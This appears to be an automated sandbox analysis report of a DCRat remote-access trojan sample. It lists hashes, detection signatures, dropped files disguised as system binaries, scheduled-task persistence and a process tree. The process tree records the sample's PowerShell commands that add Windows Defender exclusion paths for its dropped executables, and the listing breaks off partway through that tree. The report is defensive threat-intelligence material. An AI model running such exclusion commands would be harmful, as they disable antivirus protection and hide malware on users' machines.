dcrat | c2d5f28f10f3fea48b5ddea200daabb59bb6fdddbc8d88502425eb18606553a2

Analysis

max time kernel
111s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
03/02/2023, 05:15

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

c2d5f28f10f3fea48b5ddea200daabb59bb6fdddbc8d88502425eb18606553a2.exe
Size

1.3MB
MD5

19038d15cd39f252279d169394f84a5c
SHA1

9aefcc105192fcc867b5af777e47c34190a3395e
SHA256

c2d5f28f10f3fea48b5ddea200daabb59bb6fdddbc8d88502425eb18606553a2
SHA512

13bacc77922b7ad8408bbe2ee869bed26a708ac26b7abe40784c205867b7f03b3bdfc9e96d2bbd0c624fbecb81430ff0cf1db961aba1466731d2f54eb9735e96
SSDEEP

24576:U2G/nvxW3Ww0t6TnzGmVBDh4+aknuRRZJND0gFJ4rD/IjC:UbA30GnzV/q+DnsXg

Score

10^/10

dcrat infostealer rat

Malware Config

Signatures

DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat

Process spawned unexpected child process 64 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4256	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2312	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4612	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1592	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4400	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	204	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	228	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4208	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2380	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3180	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4184	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3076	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5084	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4004	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2104	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2888	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3944	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2308	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4228	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2092	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4176	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4680	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3436	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4592	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4140	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4308	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4028	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5044	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4972	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4404	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4964	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4668	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1384	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4296	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4880	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4384	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4752	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	812	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1048	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2736	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4728	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3776	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4320	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4936	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4412	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4372	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4796	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3956	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4264	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4408	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3372	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2948	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3624	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4416	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3568	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4240	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	348	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4848	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	532	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2852	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2864	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1676	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2600	2204	schtasks.exe	67
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4400	2204	schtasks.exe	67

DCRat payload 9 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

resource	yara_rule
behavioral1/files/0x0006000000022e1d-137.dat	dcrat
behavioral1/files/0x0006000000022e1d-138.dat	dcrat
behavioral1/memory/1328-139-0x0000000000450000-0x0000000000560000-memory.dmp	dcrat
behavioral1/files/0x0006000000022e1d-145.dat	dcrat
behavioral1/files/0x0006000000022e1d-228.dat	dcrat
behavioral1/files/0x0006000000022e31-229.dat	dcrat
behavioral1/files/0x0006000000022e40-232.dat	dcrat
behavioral1/files/0x0006000000022e80-256.dat	dcrat
behavioral1/files/0x0006000000022e80-257.dat	dcrat

Checks computer location settings 2 TTPs 5 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Control Panel\International\Geo\Nation	DllCommonsvc.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Control Panel\International\Geo\Nation	DllCommonsvc.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Control Panel\International\Geo\Nation	DllCommonsvc.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Control Panel\International\Geo\Nation	c2d5f28f10f3fea48b5ddea200daabb59bb6fdddbc8d88502425eb18606553a2.exe

Executes dropped EXE 4 IoCs

pid	Process
1328	DllCommonsvc.exe
4172	DllCommonsvc.exe
4900	DllCommonsvc.exe
4408	fontdrvhost.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Drops file in Program Files directory 19 IoCs

description	ioc	Process
File created	C:\Program Files\Windows Portable Devices\conhost.exe	DllCommonsvc.exe
File created	C:\Program Files (x86)\Adobe\Registry.exe	DllCommonsvc.exe
File created	C:\Program Files\Windows Media Player\ja-JP\ea9f0e6c9e2dcd	DllCommonsvc.exe
File created	C:\Program Files (x86)\Reference Assemblies\winlogon.exe	DllCommonsvc.exe
File created	C:\Program Files\Microsoft Office\root\lsass.exe	DllCommonsvc.exe
File created	C:\Program Files\VideoLAN\upfc.exe	DllCommonsvc.exe
File created	C:\Program Files\VideoLAN\ea1d8f6d871115	DllCommonsvc.exe
File created	C:\Program Files\Windows Portable Devices\f3b6ecef712a24	DllCommonsvc.exe
File created	C:\Program Files (x86)\Windows Portable Devices\e978f868350d50	DllCommonsvc.exe
File created	C:\Program Files (x86)\Adobe\ee2ad38f3d4382	DllCommonsvc.exe
File created	C:\Program Files (x86)\Reference Assemblies\cc11b995f2a76d	DllCommonsvc.exe
File created	C:\Program Files (x86)\Windows NT\Accessories\en-US\fontdrvhost.exe	DllCommonsvc.exe
File created	C:\Program Files\Windows Portable Devices\088424020bedd6	DllCommonsvc.exe
File created	C:\Program Files (x86)\Windows Portable Devices\powershell.exe	DllCommonsvc.exe
File created	C:\Program Files (x86)\Windows NT\Accessories\en-US\5b884080fd4f94	DllCommonsvc.exe
File created	C:\Program Files\Microsoft Office\root\6203df4a6bafc7	DllCommonsvc.exe
File created	C:\Program Files\Windows Media Player\Icons\OfficeClickToRun.exe	DllCommonsvc.exe
File created	C:\Program Files\Windows Portable Devices\spoolsv.exe	DllCommonsvc.exe
File created	C:\Program Files\Windows Media Player\ja-JP\taskhostw.exe	DllCommonsvc.exe

Drops file in Windows directory 12 IoCs

description	ioc	Process
File created	C:\Windows\Setup\State\7a0fd90576e088	DllCommonsvc.exe
File created	C:\Windows\Containers\serviced\886983d96e3d3e	DllCommonsvc.exe
File created	C:\Windows\schemas\AvailableNetwork\powershell.exe	DllCommonsvc.exe
File created	C:\Windows\schemas\AvailableNetwork\e978f868350d50	DllCommonsvc.exe
File created	C:\Windows\Setup\State\explorer.exe	DllCommonsvc.exe
File created	C:\Windows\PolicyDefinitions\it-IT\5b884080fd4f94	DllCommonsvc.exe
File created	C:\Windows\assembly\NativeImages_v2.0.50727_64\System.Management.A#\f8458c8de3d147a80d90bfeb1dbda24e\RuntimeBroker.exe	DllCommonsvc.exe
File created	C:\Windows\assembly\NativeImages_v2.0.50727_64\System.Management.A#\f8458c8de3d147a80d90bfeb1dbda24e\9e8d7a4ca61bd9	DllCommonsvc.exe
File created	C:\Windows\SoftwareDistribution\DataStore\Logs\Registry.exe	DllCommonsvc.exe
File created	C:\Windows\SoftwareDistribution\DataStore\Logs\ee2ad38f3d4382	DllCommonsvc.exe
File created	C:\Windows\Containers\serviced\csrss.exe	DllCommonsvc.exe
File created	C:\Windows\PolicyDefinitions\it-IT\fontdrvhost.exe	DllCommonsvc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 64 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
4176	schtasks.exe
3436	schtasks.exe
4372	schtasks.exe
4400	schtasks.exe
3152	schtasks.exe
4856	schtasks.exe
3076	schtasks.exe
4972	schtasks.exe
4936	schtasks.exe
2228	schtasks.exe
1592	schtasks.exe
5084	schtasks.exe
4004	schtasks.exe
2308	schtasks.exe
2948	schtasks.exe
2888	schtasks.exe
4592	schtasks.exe
1384	schtasks.exe
812	schtasks.exe
4028	schtasks.exe
4264	schtasks.exe
3624	schtasks.exe
3656	schtasks.exe
4536	schtasks.exe
3076	schtasks.exe
3668	schtasks.exe
4964	schtasks.exe
4408	schtasks.exe
3908	schtasks.exe
4916	schtasks.exe
1256	schtasks.exe
3372	schtasks.exe
204	schtasks.exe
228	schtasks.exe
4680	schtasks.exe
4308	schtasks.exe
4880	schtasks.exe
4752	schtasks.exe
4728	schtasks.exe
4240	schtasks.exe
1676	schtasks.exe
2308	schtasks.exe
2420	schtasks.exe
4508	schtasks.exe
4912	schtasks.exe
4400	schtasks.exe
5044	schtasks.exe
1048	schtasks.exe
3956	schtasks.exe
1532	schtasks.exe
2092	schtasks.exe
4140	schtasks.exe
4412	schtasks.exe
4796	schtasks.exe
2600	schtasks.exe
2524	schtasks.exe
2736	schtasks.exe
3568	schtasks.exe
2864	schtasks.exe
4784	schtasks.exe
4256	schtasks.exe
2380	schtasks.exe
4404	schtasks.exe
348	schtasks.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000_Classes\Local Settings	c2d5f28f10f3fea48b5ddea200daabb59bb6fdddbc8d88502425eb18606553a2.exe
Key created	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000_Classes\Local Settings	DllCommonsvc.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1328	DllCommonsvc.exe
1328	DllCommonsvc.exe
1328	DllCommonsvc.exe
1328	DllCommonsvc.exe
1328	DllCommonsvc.exe
1328	DllCommonsvc.exe
3468	powershell.exe
3260	powershell.exe
4388	powershell.exe
3680	powershell.exe
4172	DllCommonsvc.exe
3260	powershell.exe
3468	powershell.exe
3680	powershell.exe
4172	DllCommonsvc.exe
4172	DllCommonsvc.exe
4172	DllCommonsvc.exe
4172	DllCommonsvc.exe
4172	DllCommonsvc.exe
4172	DllCommonsvc.exe
4172	DllCommonsvc.exe
4172	DllCommonsvc.exe
4172	DllCommonsvc.exe
4172	DllCommonsvc.exe
4388	powershell.exe
4172	DllCommonsvc.exe
4172	DllCommonsvc.exe
4172	DllCommonsvc.exe
4172	DllCommonsvc.exe
4172	DllCommonsvc.exe
4172	DllCommonsvc.exe
4172	DllCommonsvc.exe
4172	DllCommonsvc.exe
4172	DllCommonsvc.exe
4172	DllCommonsvc.exe
4172	DllCommonsvc.exe
4172	DllCommonsvc.exe
4172	DllCommonsvc.exe
4172	DllCommonsvc.exe
4172	DllCommonsvc.exe
4172	DllCommonsvc.exe
4172	DllCommonsvc.exe
4172	DllCommonsvc.exe
4172	DllCommonsvc.exe
4172	DllCommonsvc.exe
4172	DllCommonsvc.exe
4172	DllCommonsvc.exe
4172	DllCommonsvc.exe
4172	DllCommonsvc.exe
4172	DllCommonsvc.exe
4172	DllCommonsvc.exe
4172	DllCommonsvc.exe
4172	DllCommonsvc.exe
4172	DllCommonsvc.exe
4172	DllCommonsvc.exe
4172	DllCommonsvc.exe
4172	DllCommonsvc.exe
532	schtasks.exe
2584	powershell.exe
592	powershell.exe
2316	powershell.exe
2316	powershell.exe
2320	powershell.exe
2320	powershell.exe

Suspicious use of AdjustPrivilegeToken 38 IoCs

description	pid	Process
Token: SeDebugPrivilege	1328	DllCommonsvc.exe
Token: SeDebugPrivilege	3468	powershell.exe
Token: SeDebugPrivilege	3260	powershell.exe
Token: SeDebugPrivilege	4388	powershell.exe
Token: SeDebugPrivilege	3680	powershell.exe
Token: SeDebugPrivilege	4172	DllCommonsvc.exe
Token: SeDebugPrivilege	532	schtasks.exe
Token: SeDebugPrivilege	2584	powershell.exe
Token: SeDebugPrivilege	592	powershell.exe
Token: SeDebugPrivilege	2316	powershell.exe
Token: SeDebugPrivilege	2320	powershell.exe
Token: SeDebugPrivilege	2920	powershell.exe
Token: SeDebugPrivilege	2460	powershell.exe
Token: SeDebugPrivilege	1396	powershell.exe
Token: SeDebugPrivilege	2256	powershell.exe
Token: SeDebugPrivilege	2068	powershell.exe
Token: SeDebugPrivilege	176	powershell.exe
Token: SeDebugPrivilege	3300	powershell.exe
Token: SeDebugPrivilege	3108	powershell.exe
Token: SeDebugPrivilege	3744	powershell.exe
Token: SeDebugPrivilege	3076	schtasks.exe
Token: SeDebugPrivilege	4900	DllCommonsvc.exe
Token: SeDebugPrivilege	604	powershell.exe
Token: SeDebugPrivilege	1752	powershell.exe
Token: SeDebugPrivilege	4348	powershell.exe
Token: SeDebugPrivilege	4008	powershell.exe
Token: SeDebugPrivilege	2920	powershell.exe
Token: SeDebugPrivilege	4388	powershell.exe
Token: SeDebugPrivilege	4316	powershell.exe
Token: SeDebugPrivilege	3976	powershell.exe
Token: SeDebugPrivilege	3220	powershell.exe
Token: SeDebugPrivilege	2468	powershell.exe
Token: SeDebugPrivilege	1912	powershell.exe
Token: SeDebugPrivilege	508	powershell.exe
Token: SeDebugPrivilege	4528	powershell.exe
Token: SeDebugPrivilege	2284	powershell.exe
Token: SeDebugPrivilege	348	powershell.exe
Token: SeDebugPrivilege	4408	fontdrvhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4268 wrote to memory of 5012	4268	c2d5f28f10f3fea48b5ddea200daabb59bb6fdddbc8d88502425eb18606553a2.exe	81
PID 4268 wrote to memory of 5012	4268	c2d5f28f10f3fea48b5ddea200daabb59bb6fdddbc8d88502425eb18606553a2.exe	81
PID 4268 wrote to memory of 5012	4268	c2d5f28f10f3fea48b5ddea200daabb59bb6fdddbc8d88502425eb18606553a2.exe	81
PID 5012 wrote to memory of 3464	5012	WScript.exe	82
PID 5012 wrote to memory of 3464	5012	WScript.exe	82
PID 5012 wrote to memory of 3464	5012	WScript.exe	82
PID 3464 wrote to memory of 1328	3464	cmd.exe	84
PID 3464 wrote to memory of 1328	3464	cmd.exe	84
PID 1328 wrote to memory of 3260	1328	DllCommonsvc.exe	94
PID 1328 wrote to memory of 3260	1328	DllCommonsvc.exe	94
PID 1328 wrote to memory of 3680	1328	DllCommonsvc.exe	99
PID 1328 wrote to memory of 3680	1328	DllCommonsvc.exe	99
PID 1328 wrote to memory of 4388	1328	DllCommonsvc.exe	98
PID 1328 wrote to memory of 4388	1328	DllCommonsvc.exe	98
PID 1328 wrote to memory of 3468	1328	DllCommonsvc.exe	97
PID 1328 wrote to memory of 3468	1328	DllCommonsvc.exe	97
PID 1328 wrote to memory of 4172	1328	DllCommonsvc.exe	102
PID 1328 wrote to memory of 4172	1328	DllCommonsvc.exe	102
PID 4172 wrote to memory of 532	4172	DllCommonsvc.exe	190
PID 4172 wrote to memory of 532	4172	DllCommonsvc.exe	190
PID 4172 wrote to memory of 2584	4172	DllCommonsvc.exe	147
PID 4172 wrote to memory of 2584	4172	DllCommonsvc.exe	147
PID 4172 wrote to memory of 592	4172	DllCommonsvc.exe	148
PID 4172 wrote to memory of 592	4172	DllCommonsvc.exe	148
PID 4172 wrote to memory of 2316	4172	DllCommonsvc.exe	176
PID 4172 wrote to memory of 2316	4172	DllCommonsvc.exe	176
PID 4172 wrote to memory of 2920	4172	DllCommonsvc.exe	231
PID 4172 wrote to memory of 2920	4172	DllCommonsvc.exe	231
PID 4172 wrote to memory of 2320	4172	DllCommonsvc.exe	152
PID 4172 wrote to memory of 2320	4172	DllCommonsvc.exe	152
PID 4172 wrote to memory of 2460	4172	DllCommonsvc.exe	173
PID 4172 wrote to memory of 2460	4172	DllCommonsvc.exe	173
PID 4172 wrote to memory of 1396	4172	DllCommonsvc.exe	171
PID 4172 wrote to memory of 1396	4172	DllCommonsvc.exe	171
PID 4172 wrote to memory of 2256	4172	DllCommonsvc.exe	154
PID 4172 wrote to memory of 2256	4172	DllCommonsvc.exe	154
PID 4172 wrote to memory of 2068	4172	DllCommonsvc.exe	155
PID 4172 wrote to memory of 2068	4172	DllCommonsvc.exe	155
PID 4172 wrote to memory of 176	4172	DllCommonsvc.exe	157
PID 4172 wrote to memory of 176	4172	DllCommonsvc.exe	157
PID 4172 wrote to memory of 3108	4172	DllCommonsvc.exe	158
PID 4172 wrote to memory of 3108	4172	DllCommonsvc.exe	158
PID 4172 wrote to memory of 3744	4172	DllCommonsvc.exe	159
PID 4172 wrote to memory of 3744	4172	DllCommonsvc.exe	159
PID 4172 wrote to memory of 3300	4172	DllCommonsvc.exe	160
PID 4172 wrote to memory of 3300	4172	DllCommonsvc.exe	160
PID 4172 wrote to memory of 3076	4172	DllCommonsvc.exe	206
PID 4172 wrote to memory of 3076	4172	DllCommonsvc.exe	206
PID 4172 wrote to memory of 5004	4172	DllCommonsvc.exe	167
PID 4172 wrote to memory of 5004	4172	DllCommonsvc.exe	167
PID 5004 wrote to memory of 4796	5004	cmd.exe	177
PID 5004 wrote to memory of 4796	5004	cmd.exe	177
PID 5004 wrote to memory of 4900	5004	cmd.exe	182
PID 5004 wrote to memory of 4900	5004	cmd.exe	182
PID 4900 wrote to memory of 1752	4900	DllCommonsvc.exe	226
PID 4900 wrote to memory of 1752	4900	DllCommonsvc.exe	226
PID 4900 wrote to memory of 604	4900	DllCommonsvc.exe	227
PID 4900 wrote to memory of 604	4900	DllCommonsvc.exe	227
PID 4900 wrote to memory of 4348	4900	DllCommonsvc.exe	228
PID 4900 wrote to memory of 4348	4900	DllCommonsvc.exe	228
PID 4900 wrote to memory of 4008	4900	DllCommonsvc.exe	235
PID 4900 wrote to memory of 4008	4900	DllCommonsvc.exe	235
PID 4900 wrote to memory of 2920	4900	DllCommonsvc.exe	231
PID 4900 wrote to memory of 2920	4900	DllCommonsvc.exe	231

C:\Users\Admin\AppData\Local\Temp\c2d5f28f10f3fea48b5ddea200daabb59bb6fdddbc8d88502425eb18606553a2.exe
"C:\Users\Admin\AppData\Local\Temp\c2d5f28f10f3fea48b5ddea200daabb59bb6fdddbc8d88502425eb18606553a2.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4268
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\providercommon\yTUdeXjbLOhnrN32dgrxVg.vbe"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:5012
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\providercommon\1zu9dW.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3464
  - - C:\providercommon\DllCommonsvc.exe
      "C:\providercommon\DllCommonsvc.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Drops file in Windows directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1328
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\providercommon\DllCommonsvc.exe'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3260
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\SoftwareDistribution\DataStore\Logs\Registry.exe'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3468
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Google\Chrome\Application\SetupMetrics\StartMenuExperienceHost.exe'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4388
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\sihost.exe'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3680
    - - C:\providercommon\DllCommonsvc.exe
        
        "C:\providercommon\DllCommonsvc.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Drops file in Program Files directory
        Drops file in Windows directory
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4172
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\providercommon\DllCommonsvc.exe'
        6⤵
        
        PID:532
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\taskhostw.exe'
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2584
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\providercommon\lsass.exe'
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:592
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Containers\serviced\csrss.exe'
        6⤵
        
        PID:2920
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\schemas\AvailableNetwork\powershell.exe'
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2320
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\VideoLAN\upfc.exe'
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2256
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Portable Devices\spoolsv.exe'
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2068
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\assembly\NativeImages_v2.0.50727_64\System.Management.A#\f8458c8de3d147a80d90bfeb1dbda24e\RuntimeBroker.exe'
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:176
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Portable Devices\conhost.exe'
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3108
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\powershell.exe'
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3744
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\upfc.exe'
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3300
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Windows Portable Devices\powershell.exe'
        6⤵
        
        PID:3076
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\7QhUsDoO8u.bat"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:5004
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        7⤵
        
        PID:4796
        
        C:\providercommon\DllCommonsvc.exe
        
        "C:\providercommon\DllCommonsvc.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        Drops file in Program Files directory
        Drops file in Windows directory
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4900
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\providercommon\DllCommonsvc.exe'
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1752
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
